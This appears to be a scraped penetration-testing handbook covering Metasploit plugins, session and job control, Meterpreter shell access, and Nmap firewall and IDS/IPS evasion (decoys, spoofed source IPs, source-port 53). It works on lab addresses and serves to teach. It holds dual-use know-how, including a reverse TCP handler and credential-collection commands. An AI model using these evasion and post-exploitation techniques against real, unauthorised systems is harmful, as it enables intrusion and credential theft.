_/ -_|_-< _| | _/ | || / _` | | ' \ |_| \___|_||_\__\___/__/\__| |_| |_|\_,_\__, |_|_||_| |___/ Version 1.6 Pentest Plugin loaded. by Carlos Perez (carlos_perez[at]darkoperator.com) [*] Successfully loaded plugin: pentest msf6 > help Tradecraft Commands =================== Command Description ------- ----------- check_footprint Checks the possible footprint of a post module on a target system. auto_exploit Commands ===================== Command Description ------- ----------- show_client_side Show matched client side exploits from data imported from vuln scanners. vuln_exploit Runs exploits based on data imported from vuln scanners. Discovery Commands ================== Command Description ------- ----------- discover_db Run discovery modules against current hosts in the database. network_discover Performs a port-scan and enumeration of services found for non pivot networks. pivot_network_discover Performs enumeration of networks available to a specified Meterpreter session. show_session_networks Enumerate the networks one could pivot thru Meterpreter in the active sessions. Project Commands ================ Command Description ------- ----------- project Command for managing projects. Postauto Commands ================= Command Description ------- ----------- app_creds Run application password collection modules against specified sessions. get_lhost List local IP addresses that can be used for LHOST. multi_cmd Run shell command against several sessions multi_meter_cmd Run a Meterpreter Console Command against specified sessions. multi_meter_cmd_rc Run resource file with Meterpreter Console Commands against specified sessions. multi_post Run a post module against specified sessions. multi_post_rc Run resource file with post modules and options against specified sessions. sys_creds Run system password collection modules against specified sessions. ``` Many people write many different plugins for the Metasploit framework. They all have a specific purpose and can be an excellent help to save time after familiarizing ourselves with them. Check out the list of popular plugins below: | | | | | ---------------------------- | ------------------------- | ---------------------- | | nMap (pre-installed) | NexPose (pre-installed) | Nessus (pre-installed) | | Mimikatz (pre-installed V.1) | Stdapi (pre-installed) | Railgun | | Priv | Incognito (pre-installed) | Darkoperator's | ## Mixins The Metasploit Framework is written in Ruby, an object-oriented programming language. This plays a big part in what makes msfconsole excellent to use. Mixins are one of those features that, when implemented, offer a large amount of flexibility to both the creator of the script and the user. Mixins are classes that act as methods for use by other classes without having to be the parent class of those other classes. Thus, it would be deemed inappropriate to call it inheritance but rather inclusion. They are mainly used when we: * Want to provide a lot of optional features for a class. * Want to use one particular feature for a multitude of classes. Most of the Ruby programming language revolves around Mixins as Modules. The concept of Mixins is implemented using the word `include`, to which we pass the name of the module as a parameter. If we are just starting with Metasploit, we should not worry about the use of Mixins or their impact on our assessment. However, they are mentioned here as a note of how complex the customization of Metasploit can become. # Metasploit Sessions Source: https://hackbook.dudji.com/tools/exploitation-frameworks/metasploit/sessions Session management, backgrounding, and job control. ## Sessions MSFconsole can manage multiple modules at the same time. This is one of the many reasons it provides the user with so much flexibility. This is done with the use of Sessions, which creates dedicated control interfaces for all of your deployed modules. Once several sessions are created, we can switch between them and link a different module to one of the backgrounded sessions to run on it or turn them into jobs. Note that once a session is placed in the background, it will continue to run, and our connection to the target host will persist. Sessions can, however, die if something goes wrong during the payload runtime, causing the communication channel to tear down. ## Using Sessions While running any available exploits or auxiliary modules in msfconsole, we can background the session as long as they form a channel of communication with the target host. This can be done either by pressing the \[CTRL] + \[Z] key combination or by typing the background command in the case of Meterpreter stages. This will prompt us with a confirmation message. After accepting the prompt, we will be taken back to the msfconsole prompt (msf6 >) and will immediately be able to launch a different module. ### Listing Active Sessions We can use the sessions command to view our currently active sessions. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/smb/psexec_psh) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows NT AUTHORITY\SYSTEM @ MS01 10.10.10.129:443 -> 10.10.10.205:50501 (10.10.10.205) ``` ### Interacting with a Session You can use the sessions -i \[no.] command to open up a specific session. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(windows/smb/psexec_psh) > sessions -i 1 [*] Starting interaction with 1... meterpreter > ``` This is specifically useful when we want to run an additional module on an already exploited system with a formed, stable communication channel. This can be done by backgrounding our current session, which is formed due to the success of the first exploit, searching for the second module we wish to run, and, if made possible by the type of module selected, selecting the session number on which the module should be run. This can be done from the second module's show options menu. Usually, these modules can be found in the post category, referring to Post-Exploitation modules. The main archetypes of modules in this category consist of credential gatherers, local exploit suggesters, and internal network scanners. ## Jobs If, for example, we are running an active exploit under a specific port and need this port for a different module, we cannot simply terminate the session using \[CTRL] + \[C]. If we did that, we would see that the port would still be in use, affecting our use of the new module. So instead, we would need to use the jobs command to look at the currently active tasks running in the background and terminate the old ones to free up the port. Other types of tasks inside sessions can also be converted into jobs to run in the background seamlessly, even if the session dies or disappears. ### Viewing the Jobs Command Help Menu We can view the help menu for this command, like others, by typing jobs -h. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(multi/handler) > jobs -h Usage: jobs [options] Active job manipulation and interaction. OPTIONS: -K Terminate all running jobs. -P Persist all running jobs on restart. -S Row search filter. -h Help banner. -i Lists detailed information about a running job. -k Terminate jobs by job ID and/or range. -l List all running jobs. -p Add persistence to job by job ID -v Print more detailed info. Use with -i and -l ``` ### Viewing the Exploit Command Help Menu When we run an exploit, we can run it as a job by typing exploit -j. Per the help menu for the exploit command, adding -j to our command. Instead of just exploit or run, will "run it in the context of a job." ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(multi/handler) > exploit -h Usage: exploit [options] Launches an exploitation attempt. OPTIONS: -J Force running in the foreground, even if passive. -e The payload encoder to use. If none is specified, ENCODER is used. -f Force the exploit to run regardless of the value of MinimumRank. -h Help banner. -j Run in the context of a job. ``` ### Running an Exploit as a Background Job ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(multi/handler) > exploit -j [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 10.10.14.34:4444 ``` ### Listing Running Jobs To list all running jobs, we can use the jobs -l command. To kill a specific job, look at the index no. of the job and use the kill \[index no.] command. Use the jobs -K command to kill all running jobs. ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} msf6 exploit(multi/handler) > jobs -l Jobs ==== Id Name Payload Payload opts -- ---- ------- ------------ 0 Exploit: multi/handler generic/shell_reverse_tcp tcp://10.10.14.34:4444 ``` ```` ### MSF: Meterpreter Navigation ```shellsession meterpreter > cd Users meterpreter > ls Listing: C:\Users ================= Mode Size Type Last modified Name ---- ---- ---- ------------- ---- 40777/rwxrwxrwx 8192 dir 2017-07-21 06:56:23 +0000 Administrator 40777/rwxrwxrwx 0 dir 2009-07-14 05:08:56 +0000 All Users 40555/r-xr-xr-x 8192 dir 2009-07-14 03:20:08 +0000 Default 40777/rwxrwxrwx 0 dir 2009-07-14 05:08:56 +0000 Default User 40555/r-xr-xr-x 4096 dir 2009-07-14 03:20:08 +0000 Public 100666/rw-rw-rw- 174 fil 2009-07-14 04:54:24 +0000 desktop.ini 40777/rwxrwxrwx 8192 dir 2017-07-14 13:45:33 +0000 haris meterpreter > shell Process 2664 created. Channel 1 created. Microsoft Windows [Version 6.1.7601] Copyright (c) 2009 Microsoft Corporation. All rights reserved. C:\Users> ```` # Tools Source: https://hackbook.dudji.com/tools/index Cyber arsenal — tool references, cheatsheets, and usage guides. The Tools section covers the **offensive security toolkit** — installation, configuration, and practical usage for the most important tools in the field. Host discovery, service detection, and mapping workflows. Interception, request manipulation, and application testing. Framework-driven exploitation, payloads, and session handling. # Network Scanning Source: https://hackbook.dudji.com/tools/network-scanning/index Host discovery, service detection, and network mapping tools. Use this category for tools that identify hosts, open ports, services, and network topology. Network scanning and host discovery. # Nmap Source: https://hackbook.dudji.com/tools/network-scanning/nmap Host discovery, service enumeration, and firewall or IDS/IPS evasion techniques. ## Firewall and IDS/IPS Evasion Nmap gives you several ways to work around firewall rules and IDS/IPS controls. These methods include packet fragmentation, decoys, custom source settings, and other techniques that reduce how obvious your scans look. ## Firewalls A firewall is a security control that blocks or permits connection attempts from external networks. Every firewall is built around a software component that monitors traffic between the host and incoming connections, then decides how to handle each packet based on configured rules. The firewall can pass, ignore, or block individual network packets. This mechanism is designed to prevent unwanted connections that could be dangerous. ## IDS/IPS Like a firewall, an intrusion detection system (IDS) and intrusion prevention system (IPS) are software-based security controls. IDS monitors the network for potential attacks, analyzes suspicious activity, and reports what it finds. IPS extends this by taking defensive action automatically when it detects traffic that matches configured rules. These systems often rely on pattern matching and signatures. If they detect recognizable scan behavior, such as aggressive service detection, they may flag or block the traffic. ## Determine Firewalls and Their Rules When Nmap shows a port as `filtered`, several explanations are possible. In many cases, a firewall is enforcing rules for that connection attempt. The packet may be dropped or rejected. Dropped packets are ignored and generate no response. Rejected packets trigger an explicit reply. TCP packets are commonly rejected with the RST flag, while ICMP responses may include different error codes. Common ICMP errors include: * Net Unreachable * Net Prohibited * Host Unreachable * Host Prohibited * Port Unreachable * Proto Unreachable Nmap's TCP ACK scan (`-sA`) is often harder for firewalls and IDS/IPS controls to filter than SYN (`-sS`) or connect (`-sT`) scans because it sends a packet with only the ACK flag set. If the target port is open or closed, the host typically replies with RST. By contrast, new inbound connection attempts that start with SYN are more likely to be filtered by a firewall. ACK packets are sometimes allowed through because the firewall cannot always tell whether the connection originated externally or from inside the network. If you compare these scans, the difference becomes visible quickly. ### SYN Scan ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ sudo nmap 10.129.2.28 -p 21,22,25 -sS -Pn -n --disable-arp-ping --packet-trace Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 14:56 CEST SENT (0.0278s) TCP 10.10.14.2:57347 > 10.129.2.28:22 S ttl=53 id=22412 iplen=44 seq=4092255222 win=1024 SENT (0.0278s) TCP 10.10.14.2:57347 > 10.129.2.28:25 S ttl=50 id=62291 iplen=44 seq=4092255222 win=1024 SENT (0.0278s) TCP 10.10.14.2:57347 > 10.129.2.28:21 S ttl=58 id=38696 iplen=44 seq=4092255222 win=1024 RCVD (0.0329s) ICMP [10.129.2.28 > 10.10.14.2 Port 21 unreachable (type=3/code=3)] IP [ttl=64 id=40884 iplen=72] RCVD (0.0341s) TCP 10.129.2.28:22 > 10.10.14.2:57347 SA ttl=64 id=0 iplen=44 seq=1153454414 win=64240 RCVD (1.0386s) TCP 10.129.2.28:22 > 10.10.14.2:57347 SA ttl=64 id=0 iplen=44 seq=1153454414 win=64240 SENT (1.1366s) TCP 10.10.14.2:57348 > 10.129.2.28:25 S ttl=44 id=6796 iplen=44 seq=4092320759 win=1024 Nmap scan report for 10.129.2.28 Host is up (0.0053s latency). PORT STATE SERVICE 21/tcp filtered ftp 22/tcp open ssh 25/tcp filtered smtp MAC Address: DE:AD:00:00:BE:EF (Intel Corporate) Nmap done: 1 IP address (1 host up) scanned in 0.07 seconds ``` ### ACK Scan ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ sudo nmap 10.129.2.28 -p 21,22,25 -sA -Pn -n --disable-arp-ping --packet-trace Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 14:57 CEST SENT (0.0422s) TCP 10.10.14.2:49343 > 10.129.2.28:21 A ttl=49 id=12381 iplen=40 seq=0 win=1024 SENT (0.0423s) TCP 10.10.14.2:49343 > 10.129.2.28:22 A ttl=41 id=5146 iplen=40 seq=0 win=1024 SENT (0.0423s) TCP 10.10.14.2:49343 > 10.129.2.28:25 A ttl=49 id=5800 iplen=40 seq=0 win=1024 RCVD (0.1252s) ICMP [10.129.2.28 > 10.10.14.2 Port 21 unreachable (type=3/code=3)] IP [ttl=64 id=55628 iplen=68] RCVD (0.1268s) TCP 10.129.2.28:22 > 10.10.14.2:49343 R ttl=64 id=0 iplen=40 seq=1660784500 win=0 SENT (1.3837s) TCP 10.10.14.2:49344 > 10.129.2.28:25 A ttl=59 id=21915 iplen=40 seq=0 win=1024 Nmap scan report for 10.129.2.28 Host is up (0.083s latency). PORT STATE SERVICE 21/tcp filtered ftp 22/tcp unfiltered ssh 25/tcp filtered smtp MAC Address: DE:AD:00:00:BE:EF (Intel Corporate) Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds ``` | Scanning Option | Description | | -------------------- | ------------------------------------------- | | `10.129.2.28` | Scan the specified target. | | `-p 21,22,25` | Scan only the specified ports. | | `-sS` | Perform a SYN scan on the specified ports. | | `-sA` | Perform an ACK scan on the specified ports. | | `-Pn` | Disable ICMP echo requests. | | `-n` | Disable DNS resolution. | | `--disable-arp-ping` | Disable ARP ping. | | `--packet-trace` | Show all packets sent and received. | Pay close attention to the `RCVD` packets and the flags returned by the target. With the SYN scan (`-sS`), the target tries to establish the TCP connection by returning a packet with SYN-ACK (`SA`) set. With the ACK scan (`-sA`), you receive `RST` because TCP port 22 is open. For TCP port 25, the target sends nothing back, which indicates that the packets are being dropped. ## Detect IDS/IPS Unlike firewall detection, identifying IDS/IPS controls is much harder because these are often passive traffic-monitoring systems. IDS reviews connections between hosts and looks for traffic that matches predefined content, signatures, or behavior. If it finds a match, it alerts an administrator. IPS goes one step further and can block traffic automatically based on administrator-defined rules. IDS and IPS are separate functions, even when they operate together. During a penetration test, using several VPS hosts with different IP addresses can help you determine whether these controls are active. If one host suddenly loses access to the target network, that is often a strong sign that defensive action has been taken against that source. IDS by itself is usually intended to help administrators detect suspicious traffic and decide how to respond. You can sometimes trigger defensive action by scanning a service too aggressively. When that happens, you learn that the network is being watched and that future scans need to be quieter and better disguised. One simple test is to scan from a single VPS and watch for a sudden loss of access. If that source gets blocked, continue only from another controlled host and reduce how noisy your probes are. ## Decoys Sometimes administrators block traffic from specific regions or subnets by default. In other cases, IPS may respond directly to your source IP. For these situations, decoy scanning with `-D` can help disguise where the packets came from. With this option, Nmap inserts additional IP addresses into the packet headers. You can generate random decoys with `RND`, followed by a number such as `5`. Nmap places your real IP somewhere among those decoys. In the next example, the real source appears in the second position. The decoys must be alive. If they are not, the target service may become unreachable because SYN flood protections can react badly to obviously fake traffic. ### Scan by Using Decoys ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ sudo nmap 10.129.2.28 -p 80 -sS -Pn -n --disable-arp-ping --packet-trace -D RND:5 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 16:14 CEST SENT (0.0378s) TCP 102.52.161.59:59289 > 10.129.2.28:80 S ttl=42 id=29822 iplen=44 seq=3687542010 win=1024 SENT (0.0378s) TCP 10.10.14.2:59289 > 10.129.2.28:80 S ttl=59 id=29822 iplen=44 seq=3687542010 win=1024 SENT (0.0379s) TCP 210.120.38.29:59289 > 10.129.2.28:80 S ttl=37 id=29822 iplen=44 seq=3687542010 win=1024 SENT (0.0379s) TCP 191.6.64.171:59289 > 10.129.2.28:80 S ttl=38 id=29822 iplen=44 seq=3687542010 win=1024 SENT (0.0379s) TCP 184.178.194.209:59289 > 10.129.2.28:80 S ttl=39 id=29822 iplen=44 seq=3687542010 win=1024 SENT (0.0379s) TCP 43.21.121.33:59289 > 10.129.2.28:80 S ttl=55 id=29822 iplen=44 seq=3687542010 win=1024 RCVD (0.1370s) TCP 10.129.2.28:80 > 10.10.14.2:59289 SA ttl=64 id=0 iplen=44 seq=4056111701 win=64240 Nmap scan report for 10.129.2.28 Host is up (0.099s latency). PORT STATE SERVICE 80/tcp open http MAC Address: DE:AD:00:00:BE:EF (Intel Corporate) Nmap done: 1 IP address (1 host up) scanned in 0.15 seconds ``` | Scanning Option | Description | | -------------------- | ---------------------------------------------------------------- | | `10.129.2.28` | Scan the specified target. | | `-p 80` | Scan only the specified port. | | `-sS` | Perform a SYN scan on the specified port. | | `-Pn` | Disable ICMP echo requests. | | `-n` | Disable DNS resolution. | | `--disable-arp-ping` | Disable ARP ping. | | `--packet-trace` | Show all packets sent and received. | | `-D RND:5` | Generate five random IP addresses as decoys for the scan source. | Spoofed packets are often filtered by ISPs and routers, even when they appear to come from the same network range. In those cases, use reachable VPS addresses as decoys and combine them with IP ID manipulation techniques when appropriate. Another possibility is that only specific subnets are blocked from accessing a service. In that case, set a different source IP with `-S` to test whether a more trusted address changes the result. Decoys can be used with SYN, ACK, ICMP, and OS detection scans. ### Testing a Firewall Rule ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ sudo nmap 10.129.2.28 -n -Pn -p 445 -O Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-22 01:23 CEST Nmap scan report for 10.129.2.28 Host is up (0.032s latency). PORT STATE SERVICE 445/tcp filtered microsoft-ds MAC Address: DE:AD:00:00:BE:EF (Intel Corporate) Too many fingerprints match this host to give specific OS details Network Distance: 1 hop OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 3.14 seconds ``` ### Scan by Using a Different Source IP ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ sudo nmap 10.129.2.28 -n -Pn -p 445 -O -S 10.129.2.200 -e tun0 Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-22 01:16 CEST Nmap scan report for 10.129.2.28 Host is up (0.010s latency). PORT STATE SERVICE 445/tcp open microsoft-ds MAC Address: DE:AD:00:00:BE:EF (Intel Corporate) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 2.6.32 (96%), Linux 3.2 - 4.9 (96%), Linux 2.6.32 - 3.10 (96%), Linux 3.4 - 3.10 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), Synology DiskStation Manager 5.2-5644 (94%), Linux 2.6.32 - 2.6.35 (94%), Linux 2.6.32 - 3.5 (94%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop OS detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 4.11 seconds ``` | Scanning Option | Description | | --------------- | ----------------------------------------------- | | `10.129.2.28` | Scan the specified target. | | `-n` | Disable DNS resolution. | | `-Pn` | Disable ICMP echo requests. | | `-p 445` | Scan only the specified port. | | `-O` | Perform operating system detection. | | `-S` | Set a different source IP address for the scan. | | `10.129.2.200` | Use this IP as the scan source. | | `-e tun0` | Send requests through the specified interface. | ## DNS Proxying By default, Nmap performs reverse DNS resolution unless you disable it. These DNS queries are often allowed because the target's services are expected to be reachable. DNS usually uses UDP port 53, while TCP port 53 has historically been used for zone transfers or responses larger than 512 bytes. With IPv6 and DNSSEC, TCP 53 is more common than it used to be. Nmap lets you define your own DNS servers with `--dns-server ,`. This can be valuable when you are operating from a DMZ, where internal DNS servers may be more trusted than public ones. You can also use TCP port 53 as the source port with `--source-port`. If the administrator permits traffic based on that port and IDS/IPS filtering is weak, those packets may be treated as trusted and allowed through. ### SYN Scan of a Filtered Port ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ sudo nmap 10.129.2.28 -p 50000 -sS -Pn -n --disable-arp-ping --packet-trace Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 22:50 CEST SENT (0.0417s) TCP 10.10.14.2:33436 > 10.129.2.28:50000 S ttl=41 id=21939 iplen=44 seq=736533153 win=1024 SENT (1.0481s) TCP 10.10.14.2:33437 > 10.129.2.28:50000 S ttl=46 id=6446 iplen=44 seq=736598688 win=1024 Nmap scan report for 10.129.2.28 Host is up. PORT STATE SERVICE 50000/tcp filtered ibm-db2 Nmap done: 1 IP address (1 host up) scanned in 2.06 seconds ``` ### SYN Scan from DNS Port ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ sudo nmap 10.129.2.28 -p 50000 -sS -Pn -n --disable-arp-ping --packet-trace --source-port 53 SENT (0.0482s) TCP 10.10.14.2:53 > 10.129.2.28:50000 S ttl=58 id=27470 iplen=44 seq=4003923435 win=1024 RCVD (0.0608s) TCP 10.129.2.28:50000 > 10.10.14.2:53 SA ttl=64 id=0 iplen=44 seq=540635485 win=64240 Nmap scan report for 10.129.2.28 Host is up (0.013s latency). PORT STATE SERVICE 50000/tcp open ibm-db2 MAC Address: DE:AD:00:00:BE:EF (Intel Corporate) Nmap done: 1 IP address (1 host up) scanned in 0.08 seconds ``` | Scanning Option | Description | | -------------------- | ----------------------------------------- | | `10.129.2.28` | Scan the specified target. | | `-p 50000` | Scan only the specified port. | | `-sS` | Perform a SYN scan on the specified port. | | `-Pn` | Disable ICMP echo requests. | | `-n` | Disable DNS resolution. | | `--disable-arp-ping` | Disable ARP ping. | | `--packet-trace` | Show all packets sent and received. | | `--source-port 53` | Send the scan from source port 53. | Now that you know the firewall accepts TCP port 53, there is a good chance IDS/IPS filtering is weaker there as well. You can test that by attempting an actual connection with Netcat. ### Connect to the Filtered Port ```shellsession theme={"theme":{"light":"github-light","dark":"tokyo-night"}} Dudji@htb[/htb]$ ncat -nv --source-port 53 10.129.2.28 50000 Ncat: Version 7.80 ( https://nmap.org/ncat ) Ncat: Connected to 10.129.2.28:50000. 220 ProFTPd ``` ## Firewall and IDS/IPS Evasion Labs In the next sections, you can practice against scenarios where firewall rules and IDS/IPS protections interfere with scanning. Use the techniques above to work around those controls as quietly as possible. If you scan too aggressively, IPS may block you before you collect enough data. # Burp Suite Source: https://hackbook.dudji.com/tools/web-testing/burp-suite Web application testing with Burp Suite. This section is currently being built out. Check back soon. # Web Testing Source: https://hackbook.dudji.com/tools/web-testing/index Interception, manipulation, and web application security testing tools. Use this category for tools focused on HTTP traffic analysis, request tampering, and web attack workflows. Web application testing and interception.